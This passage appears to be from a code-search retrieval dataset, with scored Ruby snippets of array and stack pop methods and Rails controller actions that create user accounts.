"text": "def eliminar_ult_elem_arr(arreglo)\n arreglo.pop\n arreglo\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "2387dbc612a4e617f00833a0d82209dc", "score": "0.6562109", "text": "def mutate(array)\n array.pop\nend", "title": "" }, { "docid": "5ab4c968ac93852810b10fd7257c29db", "score": "0.6547657", "text": "def pop\n raise 'No such element' if @elements.length == 0\n @elements.slice!(-1)\n end", "title": "" }, { "docid": "41788bc5103cfb45af6b8eb753f856c4", "score": "0.65317565", "text": "def pop \r\n @data.pop\r\n end", "title": "" }, { "docid": "2644070f544aed2c131ffd1eb6d034e9", "score": "0.65171045", "text": "def stack_as_array\n puts \"Stack as array: \"\n arr = [1,3,4,5,6,7]\n print arr\n puts\n\n puts \"Pop top element (7):\"\n puts arr.pop\n print arr\n puts\n\n puts \"Push element (8):\"\n arr.push(8)\n print arr\n puts\n puts\nend", "title": "" }, { "docid": "f1eae80655ae609b8f1b4aeead89418a", "score": "0.64985985", "text": "def brpop(*args)\n _bpop(:brpop, args)\n end", "title": "" }, { "docid": "1ded1b2bd653f52527e38e1c9c8829f3", "score": "0.64852345", "text": "def pop()\n \n end", "title": "" }, { "docid": "1ded1b2bd653f52527e38e1c9c8829f3", "score": "0.64852345", "text": "def pop()\n \n end", "title": "" }, { "docid": "1ded1b2bd653f52527e38e1c9c8829f3", "score": "0.64852345", "text": "def pop()\n \n end", "title": "" }, { "docid": "b3d40ccb72d71a55f6113a35fe3488fd", "score": "0.64801997", "text": "def brpop(*args)\n _bpop(:brpop, args)\n end", "title": "" }, { "docid": "a01fb68530f301ee0bd3f3c934e8256f", "score": "0.6475268", "text": "def pop\n # IMPLEMENT ME\n end", "title": "" }, { "docid": "5f3d300cf289d2fd274416890e47864f", "score": "0.6450914", "text": "def uncons\n\t\t\tarray = pop\n\t\t\traise ArgumentError, \"UNCONS: first element is not an Array.\" unless array.is_a? Array\n\t\t\tpush array.first\n\t\t\tpush array.drop 1\n\t\tend", "title": "" }, { "docid": "8de4fdeb1fe3af4e921efac1a55bdfcb", "score": "0.6440785", "text": "def remove_element_from_end_of_array(array)\n array.pop\nend", "title": "" }, { "docid": "8de4fdeb1fe3af4e921efac1a55bdfcb", "score": "0.6440785", "text": "def remove_element_from_end_of_array(array)\n array.pop\nend", "title": "" }, { "docid": "c1c8cf0bd7373c2c1135339a6cd9b5ad", "score": "0.643991", "text": "def pop_stack\n raise ArgumentError if @array_list.empty?\n\n @array_list.pop\n end", "title": "" }, { "docid": "e3a1d04ea0b872a07efdef6bba5ea8e2", "score": "0.64258116", "text": "def test_pushing_and_popping_arrays\n array = [1,2]\n array.push(:last)\n\n assert_equal [1, 2, :last], array\n\n popped_value = array.pop\n assert_equal :last, popped_value\n assert_equal [1, 2], array\n end", "title": "" }, { "docid": "6c0126ba9928e021ba730493250891c0", "score": "0.64227444", "text": "def pop()\n @data.pop\n end", "title": "" }, { "docid": "880424b9fb634fb6affb5c9bb44c8cfe", "score": "0.6408686", "text": "def pop\n raise IndexError.new if @data.size == 0\n ret = @data[0]\n @data[0] = @data[@data.size - 1]\n @data = @data.take(@data.size - 1)\n percolate_down\n return ret\n end", "title": "" }, { "docid": "edadc4dd3eeb88ca70d0d282e153b2f4", "score": "0.6405974", "text": "def remove_element_from_end_of_array(array)\n return array.pop\nend", "title": "" }, { "docid": "326f36126dd6ac0159ea603fc0451734", "score": "0.63972455", "text": "def brpop(*args); end", "title": "" }, { "docid": "326f36126dd6ac0159ea603fc0451734", "score": "0.63972455", "text": "def brpop(*args); end", "title": "" }, { "docid": "370e1a9e73806417a876da1156ba2372", "score": "0.6391427", "text": "def pop()\n # O(1) time\n @arr.pop\n @min.pop\n end", "title": "" }, { "docid": "640477b10b9465f2efb3d444d2eb5a26", "score": "0.6370893", "text": "def op_pop(n = nil)\n pop(n)\n end", "title": "" }, { "docid": "5bed179486f212167877b1f388f94109", "score": "0.6367975", "text": "def remove_retrieve_last\n # @array.pop\n @array.slice!(0)\n end", "title": "" }, { "docid": "0099538da84dad2e126fed0b292b95e7", "score": "0.6349757", "text": "def mutate(arr)\n arr.pop # => 6\nend", "title": "" }, { "docid": "b782eb2ad49899582ca3ab3e9dd90b5e", "score": "0.63128495", "text": "def pop\n delete_at(0)\n end", "title": "" }, { "docid": "a657d793d3da882fd8d11f641d225b84", "score": "0.6285576", "text": "def pop\n raise NotImplementedError\n end", "title": "" }, { "docid": "631d9db957ffc8f62a09c87bbe2345ed", "score": "0.6267435", "text": "def pop\n @data.delete_at @data.length - 1 if @data.length > 0\n end", "title": "" }, { "docid": "d92d7df3876324def90a5f9ed16e206e", "score": "0.62631214", "text": "def blpop(*args)\n _bpop(:blpop, args)\n end", "title": "" }, { "docid": "1c94f09c00ae2ec2cd4c856e9af02870", "score": "0.6254103", "text": "def blpop(*args)\n _bpop(:blpop, args)\n end", "title": "" }, { "docid": "824d2f420ff087ae9cc5cc24b6574329", "score": "0.6244785", "text": "def rotate_array(arr, num)\n \n removed = arr.pop(num)\n \n new_arr = removed += arr\n \n print new_arr\nend", "title": "" }, { "docid": "da81233d256d0bd8a5b2a09359dbff5e", "score": "0.62364006", "text": "def pop\n\t\tremove(@length - 1)\n\tend", "title": "" }, { "docid": "08eb5a8dbe6e9cd3db3fa103efb88e24", "score": "0.62043136", "text": "def pop\n\n outlen_op(:tclistpop)\n end", "title": "" }, { "docid": "645e6338844510911a9fc96128eaf6b2", "score": "0.61952275", "text": "def remove_from_end(arr)\n arr.pop\nend", "title": "" }, { "docid": "2ecf7e6b6d1bb4bb94d4c9d76af885f9", "score": "0.617273", "text": "def delete\n @array_roses.pop\nend", "title": "" }, { "docid": "fdb703d275848828dee32ae968430ab0", "score": "0.61608154", "text": "def pop\n if @count > 0\n last_item_index = @count - 1\n\n # stores last element\n last_item = @items[last_item_index]\n\n # remove last item from array\n @items[last_item_index] = nil\n\n # reduces size by 1\n @count -= 1\n\n last_item\n else\n raise \"There are no items in the stack\"\n end\n end", "title": "" }, { "docid": "db19f6cd761eac0cbd5b2263f7361fa2", "score": "0.61119974", "text": "def pop\n return nil if self.curr == 0\n val = self.arr[self.curr - 1]\n self.curr -= 1\n val\n end", "title": "" }, { "docid": "1b6ad6e9bbe6ab3f88b23335b99ec988", "score": "0.60725576", "text": "def mutate(arr)\n arr.pop # (no bang! here) mutates\nend", "title": "" } ]
2c346b2562a97046fe07ef7b02acaa49
POST /accounts POST /accounts.json
[ { "docid": "a25138cf64275f9d1354bbaf070ff7bd", "score": "0.67459255", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "77f307f64106f05b8f139085144085f2", "score": "0.7698442", "text": "def create\n @account = current_user.accounts.create!(account_params)\n @account.save\n render json: @account\n end", "title": "" }, { "docid": "345d97ffa21872a109a16575d6d574c6", "score": "0.7598518", "text": "def create\n @account = current_user.accounts.new(account_params)\n\n if @account.save\n render json: @account, status: :created, location: @account\n else\n render json: @account.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b879fda6b3ff758bcc8a2ca4efa05b4e", "score": "0.7305996", "text": "def sign_up_account\n post \"/v1/accounts\", format: :json, account: create_account_params_json\n find_account_by_name\n end", "title": "" }, { "docid": "173af49f0628ba21142b0a02ab5479e0", "score": "0.73000383", "text": "def create\n @account = Account.new(account_params)\n\n if @account.save\n render json: @account, status: :created\n else\n render json: @account.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "83bb0bc9e74334b81eea610b06003157", "score": "0.72689104", "text": "def post_accounts(new_account)\n @options = {:path => '/accounts/content',\n :body => Megam::JSONCompat.to_json(new_account)}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end", "title": "" }, { "docid": "41d9ea58b851c55945756e2a9135a1b1", "score": "0.72565365", "text": "def post_accounts(new_account)\n @options = {path: '/accounts/content',\n body: Megam::JSONCompat.to_json(new_account)}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end", "title": "" }, { "docid": "ca3af33f8b50d65c7f2862328aeea25c", "score": "0.718839", "text": "def post_accounts(id, email, api_key, user_type)\n @options = {:path => '/accounts/content', :body => Megam::JSONCompat.to_json({\n \"id\" => \"#{id}\",\n \"email\" => email,\n \"api_key\" => api_key,\n \"authority\" => \"#{user_type}\"\n })}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end", "title": "" }, { "docid": "9079939177e869a00a4ac4621a4eba3b", "score": "0.7112851", "text": "def sign_up_account\n post \"/v1/accounts\", format: :json, account: create_account\n find_account_by_name\n end", "title": "" }, { "docid": "60f976255884fefb4f2a8b0aa87e6f1f", "score": "0.7033459", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to :accounts, notice: 'Account was successfully created.' }\n format.json { render :accounts, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6473621316a03faa12a59acfc5178aae", "score": "0.70187765", "text": "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if current_user.accounts << @account\n format.html { redirect_to accounts_path, notice: 'Account was successfully created.' }\n format.json { render json: accounts_path, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c3f7b79110917f16e5e2234e6a711a0", "score": "0.69910234", "text": "def create\n @account = current_user.accounts.new(params[:account])\n\n respond_to do |format|\n if @account.save\n createRequest(@account)\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n format.xml { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d5ad56c2d91b1c30e022c3c347899a7", "score": "0.69871235", "text": "def create\n render json: Account.create(account_params), serializer: AccountSerializer, include: []\n end", "title": "" }, { "docid": "104aed37ec5351d77de126cd06b741a6", "score": "0.6953907", "text": "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_url, notice: 'Account was successfully created.' }\n format.json { render json: accounts_url, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc40c7915541704268d7ccc7ae2e066c", "score": "0.6951574", "text": "def create_account(options)\n content_type = { 'Content-Type' => 'application/json' }\n content_type.merge(options[:headers]) if options[:headers]\n\n uri = build_uri('/accounts')\n\n post_body = convert_hash_keys(options).to_json\n\n http = initialize_net_http_ssl(uri)\n request = Net::HTTP::Post.new(uri.request_uri, headers(content_type))\n request.body = post_body\n response = http.request(request)\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "f6beb2b3930974cb964d94d482038f5b", "score": "0.6880051", "text": "def create\n render status: 403\n return\n @account = Account.new(account_params)\n if @account.save\n render json: @account, status: :created, location: @account\n else\n render json: @account.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5c2c3cda2fbc8a6a3e6443b3921fe84e", "score": "0.6875649", "text": "def create\n @account = Account.new(params[:account])\n @account.users << current_user\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5f557f6d801cdc11163793682256ae2", "score": "0.68618906", "text": "def create_account(model)\n path = \"/api/v2/accounts\"\n post(path, model)\n end", "title": "" }, { "docid": "448d2f5e79876e354d7ba154a940dc00", "score": "0.68510175", "text": "def create\n @account = current_user.accounts.build(account_params)\n\n respond_to do |format|\n if current_user.save\n format.html { redirect_to edit_account_url(@account), notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n\n end\n end", "title": "" }, { "docid": "6e72e9615fdb6ad6a46962b6e111df23", "score": "0.6846865", "text": "def create\n if @account.save\n respond_to do |format|\n format.json { render json: @account }\n end\n else\n respond_to do |format|\n format.json { render json: @account.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "ce1fa42ec28b80892b2051e8d1466565", "score": "0.6843943", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_path, notice: 'created' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c0cb6f2319514c19a13d352bf4c3c9c", "score": "0.6835317", "text": "def create\n @account = Account.new(params[:account])\n @account.user = current_user\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc43684c39c106cfad448935fdb70deb", "score": "0.6831728", "text": "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc43684c39c106cfad448935fdb70deb", "score": "0.6831728", "text": "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16c46ffe74749215188d149c4e1d049f", "score": "0.68100286", "text": "def create\n unless admin_logged_in then return end\n \n people_ids = params[:account].delete(:people)\n @account = Account.new(params[:account])\n \n respond_to do |format|\n if @account.save\n \n add_people(@account, people_ids)\n \n \n format.html { redirect_to \"/admin\", :notice => 'Account was successfully created.' }\n format.json { render :json => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "772928b2c386af893080e7be7204c6fd", "score": "0.6809373", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_path, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43fab640748766b122153fdea3cedf31", "score": "0.6799413", "text": "def createAcct(custID, json)\n\turl = \"http://api.reimaginebanking.com:80/customers/#{custID}/accounts?key=#{APIkey}\"\n\turi = URI.parse(url)\n\thttp = Net::HTTP.new(uri.host, uri.port)\n\tputs(uri.host)\n\tputs(uri.port)\n\tkey = \"?key=#{APIkey}\"\n\tputs(uri.path+key)\n\tmyHash = JSON.parse(json)\n\tputs(myHash)\n\tputs(Net::HTTP.post_form(uri, myHash))\n#\tgetCustAccts('5516c07ba520e0066c9ac53b')\nend", "title": "" }, { "docid": "9943600d12ff430f18faaa049369fd01", "score": "0.6763256", "text": "def create_account(params={name:random_string})\n\t\tnew_accounts = accounts[:new]\n\t\tnew_accounts[:params].merge!(params)\n\t\tpost(new_accounts)\n\tend", "title": "" }, { "docid": "976d707165983b921667452ac2101003", "score": "0.6750155", "text": "def create\n @account = Account.new(account_params)\n set_account_defaults\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0062a78fe2b6f5f207fef32712332d03", "score": "0.67476577", "text": "def create\n @account = @business.accounts.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to business_account_path(@business, @account), notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3abf945a2cd3a0a2fb2d2f94170b01b", "score": "0.67386425", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: \"Account was successfully created.\" }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "163ec7d5e45bccf81cc3a33cbac5ed80", "score": "0.6733231", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to edit_account_path(@account) }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0f038ff8f50e9a1e20e6cb5a61a2b22", "score": "0.6731418", "text": "def create\n @account = Account.new( \n :name => params[:account][:name],\n :allowance => params[:account][:allowance],\n :password => params[:account][:password],\n :bank_id => @bank.id)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to bank_accounts_path(@bank), :notice => 'Account was successfully created.' }\n format.json { render :json => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cba354664c74e9e82b9779885a183bf3", "score": "0.67259705", "text": "def create\n @admins_account = Admins::Account.new(admins_account_params)\n\n if @admins_account.save\n render json: @admins_account, status: :created, location: @admins_account\n else\n render json: @admins_account.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "cfd12ae7364a9ce4dc1cc84bc9ef550b", "score": "0.6722246", "text": "def create\n @account = Account.new(account_params)\n @account.user = current_user\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "37076f6ca295fd07c511e4aeca1b3e16", "score": "0.670443", "text": "def create\n @users_account = Users::Account.new(users_account_params)\n\n respond_to do |format|\n if @users_account.save\n format.html { redirect_to @users_account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @users_account }\n else\n format.html { render :new }\n format.json { render json: @users_account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7235bff70bec89f4c0092b9bedbefa24", "score": "0.66985875", "text": "def add_accounttttttttttttttttttttttttttt\n\n res = {\n :success => false,\n :msg => '',\n :data => []\n }\n\n begin\n params[\"account\"][:company_id] = params[:id]\n account = Account.create(params[\"account\"])\n\n res[:msg] = 'Created new company account'\n res[:data] = {:account => {:id => account.id, :name => account.first.capitalize + ' ' + account.last.capitalize}}\n res[:success] = true\n rescue AccountCreateError => e\n res[:msg] = e.errors[0]\n res[:data][:errors] = e.errors[1]\n end\n\n render :json => res.to_json, :layout => false\n end", "title": "" }, { "docid": "5e7c5a1dea8b12cf5f05572545390d36", "score": "0.6687588", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render action: 'show', status: :created, location: @account }\n else\n format.html { render action: 'new' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e7c5a1dea8b12cf5f05572545390d36", "score": "0.6687588", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render action: 'show', status: :created, location: @account }\n else\n format.html { render action: 'new' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e7c5a1dea8b12cf5f05572545390d36", "score": "0.6687588", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render action: 'show', status: :created, location: @account }\n else\n format.html { render action: 'new' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e7c5a1dea8b12cf5f05572545390d36", "score": "0.6687588", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render action: 'show', status: :created, location: @account }\n else\n format.html { render action: 'new' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec5d07ce48014929bf48aee15017fed5", "score": "0.6679287", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: t('.notice') }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a4aaaeef261036646423c524c35efa7", "score": "0.66730875", "text": "def create\n render status: :bad_request and return unless account_params\n\n account = Account.register(\n network,\n account_params[:name],\n account_params[:owner_key],\n account_params[:active_key],\n request.remote_ip,\n account_params[:referrer] || account_params[:referer]\n )\n\n render status: :created, json: {account: account_params.merge({accountid:nil}) }\n\n rescue Exception => e\n render status: :unprocessable_entity, json: { error: { base: [e.message] }}\n end", "title": "" }, { "docid": "6e977fee7a036739ddb195cc74460834", "score": "0.66597664", "text": "def create\n @account = current_user.accounts.build(name: account_params[:name])\n\n if @account.valid? && account_params[:balance].to_f > 0\n transaction = @account.transactions.build(name: \"Initial Balance\", action: \"Deposit\", amount: account_params[:balance].to_f, date: DateTime.now)\n @account[:balance] = @account.get_balance\n @account.save\n\n render json: @account\n\n elsif @account.save\n render json: @account \n else\n render json: { \n errors: @account.errors.full_messages\n }\n end\n \n end", "title": "" }, { "docid": "7465ef0ee843eb905c6df497af0f902a", "score": "0.6658182", "text": "def create\n\n @account = @user.accounts.create(account_params)\n # @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html {redirect_to user_accounts_path(@user), notice: 'Account was successfully created.'}\n format.json {render :show, status: :created, location: @account}\n add_create_condition\n else\n format.html {render :new}\n format.json {render json: @account.errors, status: :unprocessable_entity}\n end\n end\n\n add_initial_ammount(account_params)\n\n end", "title": "" }, { "docid": "e4ed699b24b3c290263272605fd246d0", "score": "0.66502357", "text": "def create\n @account = Account.new(account_params)\n @account.user_id = current_user.id\n @account.save\n \n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2532a749d9add4b1026d6928a2ad9b8a", "score": "0.6643224", "text": "def create\n @account = Account.new(account_params)\n @account.user = current_user;\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a81798966f575328784abf92abf7344", "score": "0.6642524", "text": "def create_account\n user = User.new(sign_up_params)\n if user.save\n render json: user, status: :created\n else\n render json: { error: user.errors.full_messages }, status: :bad_request\n end\n end", "title": "" }, { "docid": "376423fb8c49ea60c4dbba029e723cf0", "score": "0.66404366", "text": "def create\n @account = Account.new(account_params)\n @account.id = SecureRandom.random_number(999999999999)\n @account.customer_id = current_user.customer.id\n @account.balance = 0\n @account.date_opened = Time.now.to_date\n\n respond_to do |format|\n if @account.save\n if current_user.accounts.count > 1\n format.html { redirect_to accounts_path(current_user), notice: 'CONGRATULATIONS, your new account was successfully created!' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { redirect_to new_user_addresses_path(current_user), notice: 'Great! Just one more step..' }\n format.json { render :show, status: :created, location: @account }\n end\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b880b1c68a1b7de01183a259d348820", "score": "0.6576923", "text": "def create\n @auth_account = Auth::Account.new(auth_account_params)\n\n if @auth_account.save\n render :show, status: :created, location: @auth_account\n else\n render json: @auth_account.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "df05c8bd8086aa2407716286fa95eb99", "score": "0.6536775", "text": "def create\n @useraccount = Useraccount.new(useraccount_params)\n\n respond_to do |format|\n if @useraccount.save\n format.html { redirect_to @useraccount, notice: 'Useraccount was successfully created.' }\n format.json { render :show, status: :created, location: @useraccount }\n else\n format.html { render :new }\n format.json { render json: @useraccount.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39a6e08e16a4e2619eb694a4ae20bf2e", "score": "0.6516777", "text": "def create\n @accounts = CreateAccountForPlaidService.create(account_params)\n end", "title": "" }, { "docid": "13ac9f41dde0611d571e737f96042cec", "score": "0.6474787", "text": "def create\n\tbegin\n \t@user = User.new(user_params)\n \t@account = @user.build_account(email: @user.email, password: params[:user][:password])\n \t\n \tif @user.save\n \t\tif @account.save\n \t\t\trender json: @user, status: :created, location: @user\n \t\telse\n \t\t\t@user.destroy\n \t\t\trender json: @user.errors, status: :unprocessable_entity\n \t\tend\n \telse\n\t\t\trender json: @account.errors, status: :unprocessable_entity \t\n \tend\n rescue => error\n \trender :json => error.message, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b3dbe0d2ffa6414a1c1c7699e1ce8b19", "score": "0.6471662", "text": "def create\n @admin_account = Admin::Account.new(params[:admin_account])\n\n respond_to do |format|\n if @admin_account.save\n format.html { redirect_to @admin_account, :notice => 'Account was successfully created.' }\n format.json { render :json => @admin_account, :status => :created, :location => @admin_account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @admin_account.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c979b2670b39d3bb639bff556f10bda", "score": "0.64552546", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Conta criada com sucesso.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c83c8c0dd376fb767976415eeb204931", "score": "0.64526", "text": "def create\n @account = Account.new(account_params)\n\t@account.customer_id = @current_customer.id\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d07f96aa1ae9bc0bb3107775603f42c0", "score": "0.6449484", "text": "def create_account(email, password)\n @api.post(Services::ACCOUNTS,\"accounts/\",:body => { :email=> email, :password=> password } )\n end", "title": "" }, { "docid": "c090d6d0327c0724ffa223ab537ed142", "score": "0.6445823", "text": "def create\n @account = current_user.accounts.build(account_params).decorate\n\n if @account.save\n redirect_to accounts_path, notice: 'Account was successfully created.'\n else\n render :new\n end\n end", "title": "" }, { "docid": "c090d6d0327c0724ffa223ab537ed142", "score": "0.6445823", "text": "def create\n @account = current_user.accounts.build(account_params).decorate\n\n if @account.save\n redirect_to accounts_path, notice: 'Account was successfully created.'\n else\n render :new\n end\n end", "title": "" }, { "docid": "86ad77747c088157aca42e764fc3d69f", "score": "0.642292", "text": "def create\n @accountreq = Account.new(accountreq_params)\n\n respond_to do |format|\n if @accountreq.save\n format.html { redirect_to @transaction, notice: 'Accountreq was successfully created.' }\n format.json { render :show, status: :created, location: @accountreq }\n else\n format.html { render :new }\n format.json { render json: @accountreq.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d3ff04ef8494c8c36fbe48c94bdaeb2", "score": "0.64180374", "text": "def accounts\n get(ROBINHOOD_ACCOUNTS_ROUTE, return_as_json: true)\n end", "title": "" }, { "docid": "fac88d4ab607051c428b2f5989a57752", "score": "0.64135385", "text": "def create_account(firstName,lastName,email,points)\n # Create an account with Mihnea's LP\n \n # Set request\n url = settings.plp_registration_url\n 